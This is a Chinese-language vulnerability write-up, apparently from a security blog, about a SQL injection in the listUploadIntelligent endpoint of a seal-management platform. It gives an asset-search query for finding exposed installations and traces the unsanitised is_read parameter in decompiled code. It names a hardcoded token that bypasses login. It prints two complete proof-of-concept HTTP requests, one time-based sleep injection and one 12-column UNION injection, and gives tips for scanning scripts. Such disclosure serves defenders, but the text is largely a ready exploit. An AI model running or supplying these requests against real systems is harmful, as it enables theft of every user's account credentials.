某管家印章智慧管理平台 listUploadIntelligent接口sql注入漏洞分析与复现

listUploadIntelligent接口存在 SQL 注入漏洞。攻击者可以通过构造特定的 POST 请求注入恶意 SQL 代码,利用该漏洞对数据库执行任意 SQL 操作,获取所有用户的账户密码信息。

一.漏洞描述

listUploadIntelligent接口存在 SQL 注入漏洞。攻击者可以通过构造特定的 POST 请求注入恶意 SQL 代码,利用该漏洞对数据库执行任意 SQL 操作,获取所有用户的账户密码信息。

二.资产测绘

app="章管家-印章智慧管理平台"

图片.png

三.漏洞分析

1、首先有 这个 listUploadIntelligent 关键字,先用全局搜索工具搜一下

图片.png
2、定位到ROOT\WEB-INF\classes\com\shjysoft\api\app\AppMessageController.class 下的class文件,使用idea打开查看源码

图片.png

3、首先源码中声明了路由为:/app/message/listUploadIntelligent.htm,且传参有:pageNo、pageSize、keyWord、startDate、endDate、deptIds、type_id、is_read,且方法自带参数有person_id、unit_id

4、接着往下看,queryMap会将前端传参全部存储,然后queryMap直接进入searchUploadIntelligentByRead方法,顾名思义,应该是查询操作,进入看代码

图片.png

5、进来一看,好家伙直接3个sql语句摆在眼前。第一个太长了有点麻烦,本着简单的原则,直接选第二个进行分析
图片.png

6、第二个sql语句if条件很简单,只要is_read值不为空,即拼接sql。而sql最后面,is_read值直接拼接了sql,为数字型注入点
图片.png

四.漏洞复现

1、回到本地 搭建的环境,构造一下请求发包:

POST /app/message/listUploadIntelligent.htm?&person_id=1&unit_id=1 HTTP/1.1
Host:127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 119

pageNo=1&pageSize=20&keyWord=&startDate=&endDate=&deptIds=&type_id=&is_read=-1 and (select*from(select%0Asleep(10))x)

2、报错 Token无效,请重新登录。再使用文件搜索工具搜一下token,在main.jsp中找到token值为dingtalk_token,再次构造:
图片.png
图片.png

3、poc1:

POST /app/message/listUploadIntelligent.htm?token=dingtalk_token&person_id=1&unit_id=1 HTTP/1.1
Host:127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 119

pageNo=1&pageSize=20&keyWord=&startDate=&endDate=&deptIds=&type_id=&is_read=-1 and (select*from(select%0Asleep(10))x)

图片.png

4、当然,不是所有的站点 延时注入payload都一定通用。如果是编写扫描脚本,建议最好使用or 1=1 ,这样不容易漏掉。

图片.png

5、同样,此注入也支持联合注入,字段数为12:
poc2:

POST /app/message/listUploadIntelligent.htm?token=dingtalk_token&person_id=1&unit_id=1 HTTP/1.1
Host:127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: 
Content-Type: application/x-www-form-urlencoded
Content-Length: 131

pageNo=1&pageSize=20&keyWord=&startDate=&endDate=&deptIds=&type_id=&is_read=-1 union select md5(123456),2,3,4,5,6,7,8,9,10,11,12 --

图片.png

0 条评论